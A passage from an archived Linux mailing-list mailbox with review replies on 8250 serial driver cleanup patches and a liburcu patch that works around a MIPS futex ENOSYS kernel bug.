> -		       uart.port.iobase, uart.port.mapbase, uart.port.irq, uart.po=
rt.iotype);
> +	pr_debug("Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
> +		 uart.port.iobase, uart.port.mapbase,
> +		 uart.port.irq, uart.port.iotype);

Note that printk(KERN_DEBUG) and pr_debug() have different behavior;
you should note what the behavioral difference is in the changelog.


>  #endif
>  	if (flags & CIR_PORT) {
>  		uart.port.flags |=3D UPF_FIXED_PORT | UPF_FIXED_TYPE;
> diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial=
/8250/8250_port.c
> index 0ec823e..1b2aaf9 100644
> --- a/drivers/tty/serial/8250/8250_port.c
> +++ b/drivers/tty/serial/8250/8250_port.c
> @@ -1222,8 +1222,7 @@ static void autoconfig(struct uart_8250_port *u=
p)
>  out_lock:
>  	spin_unlock_irqrestore(&port->lock, flags);
>  	if (up->capabilities !=3D old_capabilities) {
> -		printk(KERN_WARNING
> -		       "ttyS%d: detected caps %08x should be %08x\n",
> +		pr_warn("ttyS%d: detected caps %08x should be %08x\n",
>  		       serial_index(port), old_capabilities,
>  		       up->capabilities);
>  	}
>=20

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH 11/11] tty: serial: 8250: Delete commented code
Date: Wed, 16 Dec 2015 09:05:26 -0800
Lines: 57
Approved: news@gmane.org
Message-ID: <567199D6.4050106@hurleysoftware.com>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
 <1450280177-4460-12-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450285559 9882 80.91.229.3 (16 Dec 2015 17:05:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 17:05:59 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>
To: Anton Wuerfel <anton.wuerfel@fau.de>, linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 18:05:48 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9FWK-0004WQ-I2
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Dec 2015 18:05:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965716AbbLPRFb convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Dec 2015 12:05:31 -0500
Original-Received: from mail-pa0-f41.google.com ([209.85.220.41]:36385 "EHLO
	mail-pa0-f41.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934237AbbLPRFa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Dec 2015 12:05:30 -0500
Original-Received: by mail-pa0-f41.google.com with SMTP id q3so6465958pav.3
        for <linux-parisc@vger.kernel.org>; Wed, 16 Dec 2015 09:05:30 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=krSmXplnPsJAHeMpcs4nE1CnoSULp5H4pHtl8K9osQw=;
        b=Vk9QliujTXxCOkxG4QP6XmWb52BKoyndiAYejU7C3HtavslVgf2oyK9CRuKunMFd1f
         U0qgqX3A2mts4dvF45yFjPJHYxqHbsHvGzqhKMGqc2sbJCQscpkDLPefvBft5GmX30Mg
         AqWKAKiiXRg9hT6MR+6Lm8EXPdAQQBOh921WK9WRKx0bjXkNZpsqZy8qvqU2OMQ6t3Ol
         K+uCqAk1vat77FRCX7mIrNFAblvVzq78/znJXXa28Qfj0bOwiebqaQeA9fIhrfOycfSr
         Mdn3pU3D0/TIDdFKiIcCaylOzP8hmRPVW/DTwqyGEeqVpKldjCP6KCC0fESDa2HV5vdY
         rx8A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=krSmXplnPsJAHeMpcs4nE1CnoSULp5H4pHtl8K9osQw=;
        b=X2seRjU6rnBvZOeZdDoXW9vH+3/T4E4pZHphpjJs5TmWin9pEGMAgQghehNXz2NF2l
         RFkyKkyojm1oYiwPQmFG2LYzEIVMQxcAPcTyT9EoChAuqUARZHNAbQ48WNcKGtNRLgah
         /D+A3UeFf0N4BTSS7mM58zwTwLLY3OMkN/nss7YVFy4WQgD6hmrZI9Ip1JCBIK80J1ty
         Jd0YQuKY1kEG7cHE9XUptxBmprYfCF3ir+Gu0Utm2V2DHo0Qcn9x8qjXLaHV466y/hNR
         uGQjkS3ckacFHNDrUgXCZ2UGUiDLT3ncV1vlQfR4guruG+wARqUrGOUrR3sH1dvOssm2
         hRzQ==
X-Gm-Message-State: ALoCoQl7pQJa2yb7PWXNpRF5A7RjtBU40enholvfpojkzuM/KSqybo0YEa5OFmFnRBi0ZfxJf4AUMpwFOp0qCKDF+DUeR678EA==
X-Received: by 10.66.100.135 with SMTP id ey7mr65513777pab.108.1450285529787;
        Wed, 16 Dec 2015 09:05:29 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id x12sm6026958pfi.21.2015.12.16.09.05.27
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 16 Dec 2015 09:05:28 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450280177-4460-12-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26204 gmane.linux.serial:21117 gmane.linux.kernel:2109958
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26204>

Hi Anton,

On 12/16/2015 07:36 AM, Anton Wuerfel wrote:
> This patch removes code which has been commented out. It serves no
> documentary purposes and decreases the readability of the remaining c=
ode.
> Furthermore the comment style causes checkpatch warnings. If this cod=
e
> should ever be needed again, git keeps track of it.

This is bad idea.

I can count on one hand the number of times I've tried to find deleted
code in git. How would you go about finding all deleted sub-vendor
ids in the 16.5M-line Linux source tree, say since 2.6.32?

Regards,
Peter Hurley

> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> CC: linux-kernel@i4.cs.fau.de
> ---
>  drivers/tty/serial/8250/8250_pci.c | 7 -------
>  1 file changed, 7 deletions(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/=
8250/8250_pci.c
> index 3bc0303..9136f0f 100644
> --- a/drivers/tty/serial/8250/8250_pci.c
> +++ b/drivers/tty/serial/8250/8250_pci.c
> @@ -4928,16 +4928,9 @@ static struct pci_device_id serial_pci_tbl[] =3D=
 {
>  	{	PCI_VENDOR_ID_KORENIX, PCI_DEVICE_ID_KORENIX_JETCARDF0,
>  		0x1208, 0x0004, 0, 0,
>  		pbn_b0_4_921600 },
> -/*	{	PCI_VENDOR_ID_KORENIX, PCI_DEVICE_ID_KORENIX_JETCARDF0,
> -		0x1402, 0x0002, 0, 0,
> -		pbn_b0_2_921600 }, */
> -/*	{	PCI_VENDOR_ID_KORENIX, PCI_DEVICE_ID_KORENIX_JETCARDF0,
> -		0x1404, 0x0004, 0, 0,
> -		pbn_b0_4_921600 }, */
>  	{	PCI_VENDOR_ID_KORENIX, PCI_DEVICE_ID_KORENIX_JETCARDF1,
>  		0x1208, 0x0004, 0, 0,
>  		pbn_b0_4_921600 },
> -
>  	{	PCI_VENDOR_ID_KORENIX, PCI_DEVICE_ID_KORENIX_JETCARDF2,
>  		0x1204, 0x0004, 0, 0,
>  		pbn_b0_4_921600 },
>=20

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH 06/11] tty: serial: 8250: Move EXPORT_SYMBOL to function
Date: Wed, 16 Dec 2015 09:06:47 -0800
Lines: 55
Approved: news@gmane.org
Message-ID: <56719A27.4060102@hurleysoftware.com>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
 <1450280177-4460-7-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450285624 11015 80.91.229.3 (16 Dec 2015 17:07:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 17:07:04 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>
To: Anton Wuerfel <anton.wuerfel@fau.de>, linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 18:06:54 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9FXP-0004WQ-W7
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Dec 2015 18:06:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934308AbbLPRGv convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Dec 2015 12:06:51 -0500
Original-Received: from mail-pa0-f53.google.com ([209.85.220.53]:34835 "EHLO
	mail-pa0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934226AbbLPRGu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Dec 2015 12:06:50 -0500
Original-Received: by mail-pa0-f53.google.com with SMTP id tl7so4161644pab.2
        for <linux-parisc@vger.kernel.org>; Wed, 16 Dec 2015 09:06:49 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=Bf5WThLyMwpdU9La2Oo8lQ+7Nhb4RHF1JtQRuBRU5+I=;
        b=y4q7qOdiR5z5C63/526pY0fXjhV2BZjdzp7V1zu5jtCHSyy+J4XMNaU3E8F+SEuuaQ
         OaAi7Iz8BqjBBgFGiNPyMg6ZKmcivWwtRf8no6xOofa09dOi/I2gHIidDgZbybf8SQ1O
         716k4r+af4uk1TO5RUC+i9IZUMAMMz0LXrU24flMo7FQImOTfDnxc9obPL9xt3v0DiO9
         Aw1WS5hqM1ZM1+2933wyKL8moFVJBwZ0pcOB5jH9w8jYceDYzOGzq54EXD4hJwU4BXuc
         awRPxSm0tyI45pVDdQKU2218KAqIP/82llooH5N9/ytC8FOU8Udyb9UpQ2B0xjwn2Lt4
         4laQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=Bf5WThLyMwpdU9La2Oo8lQ+7Nhb4RHF1JtQRuBRU5+I=;
        b=hJvmIWok5HxN/MmK/GHNPpJ87u2W8SmYkKbbd+zpFZDrMW0PgMnNsx2gGlIBFLCW0J
         foQMTOSlYSOB2xqrzuMQcSiFO6kDZVKbwVeJgxAoHVShgNQJY3pdUhOiX/hfH8Uju7vn
         1wAyJPk8+mjHzu5x/nDyE1626xKTbMlhD0laGs8VmfbK0xAZAJuEjaauq0if5Yb/JO6a
         RRUM++pzhMoZ+LF1DeuoadUBVA2Wd+fMyS5n6b0L3I+oX+Ph2X7BswK2NKxWV7tukuax
         +wKRecHkn+H96yW+wqNC2iNC60zJShTRsmqlw7LMizHPrP+q/Z2QPKHqoDbpbuCm4OZ7
         5vkQ==
X-Gm-Message-State: ALoCoQlE2sPSgazOMcKbHTOUG+/oKJpsKaEgqhku+2KgryxrnYjaowcJBv81tcvUtBLsHRIibDYTJ0Cadljice8VGIoa3n0ICg==
X-Received: by 10.67.30.227 with SMTP id kh3mr64123562pad.69.1450285609531;
        Wed, 16 Dec 2015 09:06:49 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id q8sm8552782pap.45.2015.12.16.09.06.47
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 16 Dec 2015 09:06:48 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450280177-4460-7-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26205 gmane.linux.serial:21118 gmane.linux.kernel:2109959
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26205>

On 12/16/2015 07:36 AM, Anton Wuerfel wrote:
> This patch moves EXPORT_SYMBOL macros directly after the definition o=
f
> the corresponding symbol to remove checkpatch warnings.

Ok.


> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> CC: linux-kernel@i4.cs.fau.de
> ---
>  drivers/tty/serial/8250/8250_core.c | 5 ++---
>  1 file changed, 2 insertions(+), 3 deletions(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial=
/8250/8250_core.c
> index 89a20c9..67147b2 100644
> --- a/drivers/tty/serial/8250/8250_core.c
> +++ b/drivers/tty/serial/8250/8250_core.c
> @@ -764,6 +764,7 @@ void serial8250_suspend_port(int line)
> =20
>  	uart_suspend_port(&serial8250_reg, port);
>  }
> +EXPORT_SYMBOL(serial8250_suspend_port);
> =20
>  /**
>   *	serial8250_resume_port - resume one serial port
> @@ -789,6 +790,7 @@ void serial8250_resume_port(int line)
>  	}
>  	uart_resume_port(&serial8250_reg, port);
>  }
> +EXPORT_SYMBOL(serial8250_resume_port);
> =20
>  /*
>   * Register a set of serial devices attached to a platform device.  =
The
> @@ -1168,9 +1170,6 @@ static void __exit serial8250_exit(void)
>  module_init(serial8250_init);
>  module_exit(serial8250_exit);
> =20
> -EXPORT_SYMBOL(serial8250_suspend_port);
> -EXPORT_SYMBOL(serial8250_resume_port);
> -
>  MODULE_LICENSE("GPL");
>  MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
> =20
>=20

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: [RFC PATCH urcu on mips, parisc] Fix: compat_futex should work-around futex signal-restart kernel bug
Date: Wed, 16 Dec 2015 17:09:52 -0500
Lines: 78
Approved: news@gmane.org
Message-ID: <1450303792-27470-1-git-send-email-mathieu.desnoyers@efficios.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1450303857 22351 80.91.229.3 (16 Dec 2015 22:10:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 22:10:57 +0000 (UTC)
Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>,
	Michael Jeanson <mjeanson@efficios.com>,
	Ralf Baechle <ralf@linux-mips.org>, linux-mips@linux-mips.org,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: "Paul E . McKenney" <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 23:10:48 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9KHX-0005Ty-Ix
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Dec 2015 23:10:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966176AbbLPWKp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Dec 2015 17:10:45 -0500
Original-Received: from mail.efficios.com ([78.47.125.74]:54823 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755036AbbLPWKp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Dec 2015 17:10:45 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id E2846340469;
	Wed, 16 Dec 2015 22:10:44 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id UrLzG3PBXp3a; Wed, 16 Dec 2015 22:10:40 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 92E04340468;
	Wed, 16 Dec 2015 22:10:40 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id X0eW1v4sZ39N; Wed, 16 Dec 2015 22:10:40 +0000 (UTC)
Original-Received: from thinkos.internal.efficios.com (cable-192.222.213.99.electronicbox.net [192.222.213.99])
	by mail.efficios.com (Postfix) with ESMTPSA id 3A2AD340256;
	Wed, 16 Dec 2015 22:10:39 +0000 (UTC)
X-Mailer: git-send-email 2.1.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26206 gmane.linux.ports.mips.general:51800 gmane.linux.kernel:2110198
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26206>

When testing liburcu on a 3.18 Linux kernel, 2-core MIPS (cpu model :
Ingenic JZRISC V4.15  FPU V0.0), we notice that a blocked sys_futex
FUTEX_WAIT returns -1, errno=ENOSYS when interrupted by a SA_RESTART
signal handler. This spurious ENOSYS behavior causes hangs in liburcu
0.9.x. Running a MIPS 3.18 kernel under a QEMU emulator exhibits the
same behavior. This might affect earlier kernels.

This issue appears to be fixed in 3.18.y stable kernels and 3.19, but
nevertheless, we should try to handle this kernel bug more gracefully
than a user-space hang due to unexpected spurious ENOSYS return value.

Therefore, fallback on the "async-safe" version of compat_futex in those
situations where FUTEX_WAIT returns ENOSYS. This async-safe fallback has
the nice property of being OK to use concurrently with other FUTEX_WAKE
and FUTEX_WAIT futex() calls, because it's simply a busy-wait scheme.

We suspect that parisc might be affected by a similar issue (Debian
build bots reported a similar hang on both mips and parisc), but we do
not have access to the hardware required to test this hypothesis.

Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
CC: Michael Jeanson <mjeanson@efficios.com>
CC: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
CC: Ralf Baechle <ralf@linux-mips.org>
CC: linux-mips@linux-mips.org
CC: linux-kernel@vger.kernel.org
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: Helge Deller <deller@gmx.de>
CC: linux-parisc@vger.kernel.org
---
 compat_futex.c |  2 ++
 urcu/futex.h   | 12 +++++++++++-
 2 files changed, 13 insertions(+), 1 deletion(-)

diff --git a/compat_futex.c b/compat_futex.c
index b7f78f0..9e918fe 100644
--- a/compat_futex.c
+++ b/compat_futex.c
@@ -111,6 +111,8 @@ end:
  * _ASYNC SIGNAL-SAFE_.
  * For now, timeout, uaddr2 and val3 are unused.
  * Waiter will busy-loop trying to read the condition.
+ * It is OK to use compat_futex_async() on a futex address on which
+ * futex() WAKE operations are also performed.
  */
 
 int compat_futex_async(int32_t *uaddr, int op, int32_t val,
diff --git a/urcu/futex.h b/urcu/futex.h
index 4d16cfa..a17eda8 100644
--- a/urcu/futex.h
+++ b/urcu/futex.h
@@ -73,7 +73,17 @@ static inline int futex_noasync(int32_t *uaddr, int op, int32_t val,
 
 	ret = futex(uaddr, op, val, timeout, uaddr2, val3);
 	if (caa_unlikely(ret < 0 && errno == ENOSYS)) {
-		return compat_futex_noasync(uaddr, op, val, timeout,
+		/*
+		 * The fallback on ENOSYS is the async-safe version of
+		 * the compat futex implementation, because the
+		 * async-safe compat implementation allows being used
+		 * concurrently with calls to futex(). Indeed, sys_futex
+		 * FUTEX_WAIT, on some architectures (e.g. mips), within
+		 * a given process, spuriously return ENOSYS due to
+		 * signal restart bugs on some kernel versions (e.g.
+		 * Linux kernel 3.18 and possibly earlier).
+		 */
+		return compat_futex_async(uaddr, op, val, timeout,
 				uaddr2, val3);
 	}
 	return ret;
-- 
2.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: Re: [RFC PATCH urcu on mips, parisc] Fix: compat_futex should
 work-around futex signal-restart kernel bug
Date: Thu, 17 Dec 2015 12:54:12 +0000 (UTC)
Lines: 140
Approved: news@gmane.org
Message-ID: <663068619.259007.1450356852694.JavaMail.zimbra@efficios.com>
References: <1450303792-27470-1-git-send-email-mathieu.desnoyers@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; 
	boundary="----=_Part_259005_501537116.1450356852692"
X-Trace: ger.gmane.org 1450356883 20294 80.91.229.3 (17 Dec 2015 12:54:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2015 12:54:43 +0000 (UTC)
Cc: Michael Jeanson <mjeanson@efficios.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-mips <linux-mips@linux-mips.org>,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Ed Swierk <eswierk@skyportsystems.com>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Jon Bernard <jbernard@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 13:54:33 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9Y4m-00026I-IT
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Dec 2015 13:54:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966538AbbLQMyT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2015 07:54:19 -0500
Original-Received: from mail.efficios.com ([78.47.125.74]:33078 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S964803AbbLQMyR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2015 07:54:17 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id AFAFD340319;
	Thu, 17 Dec 2015 12:54:17 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id 5JMlhMlFQiOx; Thu, 17 Dec 2015 12:54:13 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 3B0A23403DD;
	Thu, 17 Dec 2015 12:54:13 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id w7ukhVzCX30x; Thu, 17 Dec 2015 12:54:13 +0000 (UTC)
Original-Received: from evm-mail-1.efficios.com (evm-mail-1.efficios.com [78.47.125.74])
	by mail.efficios.com (Postfix) with ESMTP id 0D21D340319;
	Thu, 17 Dec 2015 12:54:13 +0000 (UTC)
In-Reply-To: <1450303792-27470-1-git-send-email-mathieu.desnoyers@efficios.com>
X-Originating-IP: [78.47.125.74]
X-Mailer: Zimbra 8.6.0_GA_1178 (ZimbraWebClient - FF42 (Linux)/8.6.0_GA_1178)
Thread-Topic: compat_futex should work-around futex signal-restart kernel bug
Thread-Index: yCkBslMyIgxq4n9NRGE8Kc2gSaRfqw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26207 gmane.linux.ports.mips.general:51829 gmane.linux.kernel:2110716
